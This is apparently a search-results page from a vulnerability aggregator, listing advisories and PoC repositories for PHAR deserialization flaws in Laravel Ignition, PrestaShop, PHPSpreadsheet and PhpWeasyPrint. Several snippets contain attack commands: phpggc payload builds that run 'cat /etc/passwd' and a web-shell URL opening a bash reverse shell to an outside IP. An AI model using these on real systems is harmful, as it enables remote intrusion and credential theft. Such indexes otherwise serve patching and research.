359 matches found
CVE-2021-3129
CVE-2021-3129 Laravel RCE CVE-2021-3129 脆弱性概要 LaravelでDebugモードが有効になっている場合、Laravelに組み込まれているIgnitionコンポーネントがfilegetcontentsとfileputcontents関数を安全に使用していないため、攻撃者は悪意のあるリクエストを送信したり、悪意のあるログファイルを作成したりすることでPharデシリアライゼーションを誘発し、最終的にリモートコード実行を引き起こす可能性があります。 影響を受けるバージョン Laravel = 8.4.2 脆弱性検証...
PrestaShop-CVE-2018-19126
PrestaShop バックオフィス リモートコード実行 CVE-2018-19126 これは CVE-2018-19126 の PoC であり、PrestaShop バックオフィスにおける複数の脆弱性を連鎖させ、phar を介したデシリアライゼーションを引き起こし、リモートコード実行を達成するものです。 前提条件: PrestaShop 1.6.x 1.6.1.23 より前、または 1.7.x 1.7.4.4 より前。 バックオフィスアカウント ロジスティシャン、翻訳者、セールスマンなど。 PrestaShop リリースノート:...
laravel-exploits
laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...
laravel-exploits
laravel-exploits CVE-2021-3129 のエクスプロイト 詳細: https://www.ambionics.io/blog/laravel-debug-rce 使い方 root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...
CVE-2021-3129
CVE-2021-3129 — Laravel Ignition リモートコード実行 CVSS 9.8(Critical) | 安全でないファイル操作 → ログポイズニング → Phar デシリアライゼーション → RCE 概要 Laravel Ignition 2.5.2(Laravel 8.4.2)は、APPDEBUG=true の場合に RCE の脆弱性があります。エンドポイント /ignition/execute-solution は、solution クラス MakeViewVariableOptionalSolution を通じて任意のファイル書き込みを許可します。攻撃者は...
October CMS: Incomplete Scheme Validation in Image Resizer
The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...
LKWA
LKWA Lesser Known Web Attack Lab은 중급 펜테스터가 Object Injection, XSSI, PHAR 역직렬화, variables variable 등과 같은 잘 알려지지 않은 웹 공격을 테스트하고 연습할 수 있는 도구입니다. Write-up을 환영합니다. 제 walk-through는 여기에 있습니다. 설치 - 로컬 git clone https://github.com/weev3/LKWA 명령어로 클론한 후 웹 서버로 이동시키면 됩니다. XSSI 챌린지의 경우 apache2.conf 파일에서 Allow...
CVE-2026-45034
🧨 PHPSpreadsheet Phar デシリアライゼーションエクスプロイト prohibitWrappers の回避 + phpoffice/phpspreadsheet におけるリモートコード実行 RCE このリポジトリは、人気の PHP ライブラリ PHPSpreadsheet における重大な脆弱性に対する概念実証 PoC エクスプロイトを提供します。この攻撃は phar:// ラッパー を悪用してオブジェクトのデシリアライゼーションを引き起こし、影響を受けるバージョンではセキュリティ保護の回避 や完全なリモートコード実行 にまで至ります。 ⚡ 脆弱性の概要...
PoC-for-CVE-2020-28948-CVE-2020-28949
CVE-2020-28948 および CVE-2020-28949 の PoC ここにあるファイルは、リモートエクスプロイトを達成するための CVE-2020-28948 および CVE-2020-28949 の PoC を含みます。 サーバー server フォルダには、脆弱性のある ArchiveTar ライブラリを使用する簡単なアップロードサーバーが含まれており、server/Archive に配置されています。このサーバーはユーザーから Tar アーカイブを受け取り、展開して server/uploads/ フォルダに保存します。 脆弱性のあるライブラリでサーバーを起動するには:...
CVE-2021-3129
CVE-2021-3129 Laravel Ignition RCE 익스플로잇 이것은 Laravel에 Ignition 패키지가 설치된 경우 발생하는 원격 코드 실행 취약점CVE-2021-3129을 위한 Python 익스플로잇 스크립트입니다. 이 취약점을 통해 공격자는 PHAR 역직렬화를 통해 임의의 시스템 명령을 실행할 수 있습니다. 기능 phpggc를 사용하여 PHAR 페이로드를 자동으로 생성 실행할 명령어예: id, whoami 등를 사용자 입력으로 받음 로그 지우기, 페이로드 주입, 로그를 PHAR로 변환, 역직렬화 트리거 등...
CVE-2021-3129
CVE-2021-3129 root@kitploit: 사용자 지정 명령의 phar 패키지 생성: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a PHP 명령줄 환경에 진입 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$f...
CVE-2024-55187
概要 機微な管理パラメータは十分にサニタイズされていないため、攻撃者がシステムバイナリへのパスを汚染することを可能にします。 その後、攻撃者は危険なCSVファイルをアップロードできます。これらのファイルは、PHPの exec 呼び出しによって評価されるシェルのメタ文字を含むPHARアーカイブとして扱われる可能性があり、リモートコード実行につながります。 影響 サーバー乗っ取り サービス拒否 データ損失 CVSSスコア 緊急 - 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 詳細 ファイル...
cve-2023-3824
sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip 密码:...
📄 PHPSpreadsheet 5.8.0 Remote Code Execution
PHPSpreadsheet version 5.8.0 suffers from a phar deserialization remote code execution vulnerability. ================================================================================================================================== | Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE | | Auth...
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...
GHSA-2FMJ-P74R-3WJM PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...
CVE-2026-49286
CVE-2026-49286 - PhpWeasyPrint : The library (prior to 2.6.0) guards the output filename against the phar:// stream wrapper with a case-sensitive blacklist. Because PHP stream wrappers are case-insensitive, inputs like PHAR://, Phar:// bypass the check and reach fileExists() in prepareOutput(), a...
CVE-2026-49286 PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc...